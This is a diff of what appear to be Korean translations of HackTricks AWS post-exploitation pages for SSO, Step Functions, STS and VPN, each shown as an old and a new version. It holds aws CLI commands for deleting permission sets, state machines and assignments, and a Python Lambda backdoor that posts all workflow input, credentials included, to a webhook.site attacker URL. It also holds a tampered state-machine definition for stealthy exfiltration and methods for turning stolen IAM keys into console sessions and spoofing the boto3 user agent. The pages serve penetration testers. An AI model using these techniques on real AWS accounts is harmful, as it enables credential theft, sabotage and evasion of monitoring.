### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
이 권한은 권한을 방해하는 데 사용 수 있습니다:
이 권한 사용자의 권한을 무력화하는 데 사용 수 있습니다:
```bash
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,185 +0,0 @@
# AWS - Step Functions Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Step Functions
이 AWS 서비스에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### `states:RevealSecrets`
이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 소요될 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.
> [!NOTE]
>
> - 상태 기계를 삭제하면 해당 기계와 연결된 모든 버전 및 별칭도 삭제됩니다.
> - 상태 기계 별칭을 삭제하면 이 별칭을 참조하는 상태 기계 버전은 삭제되지 않습니다.
> - 현재 하나 이상의 별칭에 의해 참조되는 상태 기계 버전을 삭제할 수 없습니다.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```
- **Potential Impact**: 중요한 워크플로우의 중단, 데이터 손실 및 운영 중단.
### `states:UpdateMapRun`
이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율과 수치를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 방해할 수 있습니다.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **잠재적 영향**: 성능 저하 및 중요한 워크플로우의 중단.
### `states:StopExecution`
이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다.
> [!WARNING]
> 이 작업은 **express state machines**에서 지원되지 않습니다.
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **Potential Impact**: 진행 중인 워크플로의 중단, 운영 중단, 및 잠재적인 데이터 손상.
### `states:TagResource`, `states:UntagResource`
공격자는 Step Functions 리소스에서 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
다음 권한을 가진 사용자 또는 역할을 손상시키는 공격자:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...**고강도 및 은밀한 포스트 익스플로이테이션 공격**을 Lambda 백도어와 Step Function 로직 조작을 결합하여 수행할 수 있습니다.
이 시나리오는 피해자가 **AWS Step Functions를 사용하여 자격 증명, 토큰 또는 PII와 같은 민감한 입력을 처리하는 워크플로를 조정**한다고 가정합니다.
예시 피해자 호출:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Step Function이 `LegitBusinessLogic`과 같은 Lambda를 호출하도록 구성된 경우, 공격자는 **두 가지 은밀한 공격 변형**을 진행할 수 있습니다:
---
#### Lambda 함수 업데이트
공격자는 Step Function에 의해 이미 사용된 Lambda 함수(`LegitBusinessLogic`)의 코드를 수정하여 입력 데이터를 조용히 유출합니다.
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Step Function에 악성 상태 추가하기
대안으로, 공격자는 Step Function 정의를 업데이트하여 워크플로의 시작 부분에 **exfiltration state**를 주입할 수 있습니다.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
공격자는 상태 정의를 다음과 같이 업데이트하여 더욱 은밀하게 행동할 수 있습니다.
{
"Comment": "Exfiltration을 위한 백도어",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
피해자는 차이를 인식하지 못할 것입니다.
---
### 피해자 설정 (익스플로잇을 위한 맥락)
- Step Function (`LegitStateMachine`)은 민감한 사용자 입력을 처리하는 데 사용됩니다.
- 하나 이상의 Lambda 함수(예: `LegitBusinessLogic`)를 호출합니다.
---
**잠재적 영향**:
- 비밀, 자격 증명, API 키 및 PII를 포함한 민감한 데이터의 조용한 유출.
- 워크플로 실행에서 눈에 띄는 오류나 실패 없음.
- Lambda 코드나 실행 추적을 감사하지 않으면 감지하기 어려움.
- 백도어가 코드나 ASL 논리에 남아 있으면 장기적인 지속성을 가능하게 함.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,185 @@
# AWS - Step Functions Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Step Functions
For more information about this AWS service, check:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### `states:RevealSecrets`
이 권한은 실행 내의 비밀 데이터를 **노출**할 수 있게 합니다. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 파라미터를 true로 설정해야 합니다.
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
이 권한을 가진 공격자는 state machine과 그 버전들 및 alias들을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 중단시키고 데이터 손실을 초래하며, 영향을 받은 state machine을 복구하고 복원하는 데 상당한 시간이 필요하게 만들 수 있습니다. 또한 공격자는 사용된 흔적을 은닉하고 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.
> [!NOTE]
>
> - state machine을 삭제하면 해당 state machine에 연결된 모든 버전과 alias도 함께 삭제됩니다.
> - state machine alias를 삭제해도 이 alias를 참조하는 state machine 버전은 삭제되지 않습니다.
> - 하나 이상의 alias가 현재 참조하고 있는 state machine 버전은 삭제할 수 없습니다.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```
- **잠재적 영향**: 중요한 워크플로 중단, 데이터 손실 및 운영 중단.
### `states:UpdateMapRun`
이 권한을 가진 공격자는 Map Run의 failure configuration 및 parallel setting을 조작할 수 있어 허용되는 maximum number of child workflow executions를 증가시키거나 감소시켜 서비스의 동작과 성능에 직접적인 영향을 미칠 수 있습니다. 또한 공격자는 tolerated failure percentage and count를 변조하여 이 값을 0으로 낮출 수 있는데, 이럴 경우 항목이 하나라도 실패하면 전체 map run이 실패하여 state machine execution에 직접적인 영향을 주고 중요한 워크플로를 방해할 수 있습니다.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **잠재적 영향**: 성능 저하 및 중요한 워크플로우의 중단.
### `states:StopExecution`
이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지하여 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이는 트랜잭션 미완료, 업무 운영의 중단, 잠재적인 데이터 손상으로 이어질 수 있습니다.
> [!WARNING]
> 이 동작은 **express state machines**에서 지원되지 않습니다.
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **잠재적 영향**: 진행 중인 워크플로의 중단, 운영 중단 및 잠재적 데이터 손상.
### `states:TagResource`, `states:UntagResource`
공격자는 Step Functions 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책을 방해할 수 있습니다.
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Potential Impact**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
다음 권한을 가진 사용자 또는 역할을 탈취한 공격자는:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...는 Lambda backdooring과 Step Function logic manipulation을 결합하여 **high-impact and stealthy post-exploitation attack**을 수행할 수 있습니다.
이 시나리오는 피해자가 **AWS Step Functions를 사용하여 민감한 입력을 처리하는 워크플로우를 오케스트레이션**한다고 가정합니다(예: credentials, tokens, 또는 PII).
예시 피해자 호출:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:
---
#### Lambda 함수 업데이트
attacker는 Step Function (`LegitBusinessLogic`)에서 이미 사용 중인 Lambda 함수의 코드를 수정하여 입력 데이터를 은밀하게 exfiltrate합니다.
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Step Function에 악성 상태 추가
또는 공격자는 Step Function 정의를 업데이트하여 워크플로우 시작 부분에 **exfiltration state**를 삽입할 수 있다.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
공격자는 상태 정의를 다음과 같이 더 은밀하게 업데이트할 수 있습니다
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
이렇게 하면 피해자는 차이점을 알아차리지 못할 것입니다.
---
### 피해자 설정 (공격 맥락)
- A Step Function (`LegitStateMachine`)는 민감한 사용자 입력을 처리하는 데 사용됩니다.
- `LegitBusinessLogic`와 같은 하나 이상의 Lambda 함수를 호출합니다.
---
**Potential Impact**:
- 민감한 데이터(예: secrets, credentials, API keys, PII)의 은밀한 유출.
- 워크플로우 실행에서 눈에 띄는 오류나 실패가 없음.
- Lambda 코드나 실행 트레이스를 감사하지 않으면 탐지하기 어려움.
- 백도어가 코드나 ASL 로직에 남아 있으면 장기적인 지속성을 허용함.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,23 +1,23 @@
# AWS - STS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## STS
자세한 정보:
{{#ref}}
../aws-services/aws-iam-enum.md
../../aws-services/aws-iam-enum.md
{{#endref}}
### IAM Creds에서 Console
### From IAM Creds to Console
IAM credentials를 획득했다면, 다음 도구들을 사용 **web console에 접근**하는 데 관심이 있을 수 있습니다.\
해당 사용자/역할에는 **`sts:GetFederationToken`** 권한 있어야 합니다.
만약 IAM credentials를 획득했다면, 다음 도구들을 사용하여 **웹 콘솔에 액세스**하는 데 관심이 있을 수 있습니다.\
참고로 사용자/역할 **`sts:GetFederationToken`** 권한을 가지고 있어야 합니다.
#### Custom script
#### 커스텀 스크립트
다음 스크립트는 default profile과 기본 AWS 리전을 사용(정부 리전(gov)중국 리전(cn) 제외)하여 web console에 로그인할 때 사용할 수 있는 signed URL을 생성합니다:
다음 스크립트는 기본 프로파일과 기본 AWS 리전(gov 및 cn 제외)을 사용하여 웹 콘솔에 로그인하는 데 사용할 수 있는 서명된 URL을 제공합니다:
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -55,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
```
#### aws_consoler
[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)를 사용하여 **웹 콘솔 링크를 생성할 수 있습니다**.
다음 도구로 **웹 콘솔 링크를 생성**할 수 있습니다: [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
@@ -68,18 +68,18 @@ aws_consoler [params...] #This will generate a link to login into the console
#### aws-vault
[**aws-vault**](https://github.com/99designs/aws-vault)은 개발 환경에서 AWS 자격 증명을 안전하게 저장하고 액세스하기 위한 도구입니다.
[**aws-vault**](https://github.com/99designs/aws-vault) 은 개발 환경에서 AWS 자격 증명을 안전하게 저장하고 액세스하기 위한 도구입니다.
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
```
> [!NOTE]
> **aws-vault**를 사용 **브라우저 콘솔 세션**을 얻을 수 있습니다
> 또한 **aws-vault**를 사용하여 **브라우저 콘솔 세션**을 얻을 수 있습니다
### **Python에서 User-Agent 제한 우회**
사용되는 **user agent**에 따라 특정 작업 수행하는 데 **제한이 있는 경우**(예: user agent를 기준으로 python boto3 라이브러리 사용을 제한하는 경우), 이전 기을 사용해 **브라우저를 통해 웹 콘솔에 연결**하거나, 직접 **boto3 user-agent를 수정**하여 다음과 같이 할 수 있습니다:
사용 **user agent에 따라 특정 작업 수행이 제한되는 경우**(예: user agent에 따라 python boto3 라이브러리 사용을 제한하는 경우) 이전 기을 사용해 **브라우저를 통해 웹 콘솔에 연결**하거나, 또는 다음과 같이 직접 **boto3 user-agent를 수정**할 수 있습니다:
```bash
# Shared by ex16x41
# Create a client
@@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
```
### **`sts:GetFederationToken`**
이 권한을 사용하면 이를 실행한 사용자에 대해 그 사용자가 가진 권한으로 제한된 연합 신원(federated identity) 생성할 수 있습니다.
이 권한을 사용하면 실행하는 사용자에게 부여된 권한으로 제한된 연합 ID(federated identity) 생성할 수 있습니다.
```bash
aws sts get-federation-token --name <username>
```
sts:GetFederationToken이 반환하는 토큰은 호출 사용자의 federated identity에 속하지만 권한이 제한됩니다. 사용자가 관리자 권한을 가지고 있더라도 IAM 사용자 목록 조회나 정책 연결(attaching policies)과 같은 일부 작업은 federated token으로 수행할 수 없습니다.
sts:GetFederationToken이 반환하는 토큰은 호출 사용자의 federated identity에 속하지만 권한이 제한됩니다. 사용자가 관리자 권한을 가지고 있더라도, IAM users 목록 조회나 policies 첨부와 같은 특정 작업은 federated token으로 수행할 수 없습니다.
또한 이 방법은 다소 은밀합니다. federated user가 AWS Portal에 표시되지 않으므로 CloudTrail logs나 모니터링 도구를 통해서만 관찰할 수 있습니다.
또한 이 방법은 다소 은밀합니다. federated user가 AWS Portal에 표시되지 않기 때문에 CloudTrail 로그나 모니터링 도구를 통해서만 관찰할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,13 +0,0 @@
# AWS - VPN 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
## VPN
자세한 정보:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,13 @@
# AWS - VPN Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## VPN
자세한 정보:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More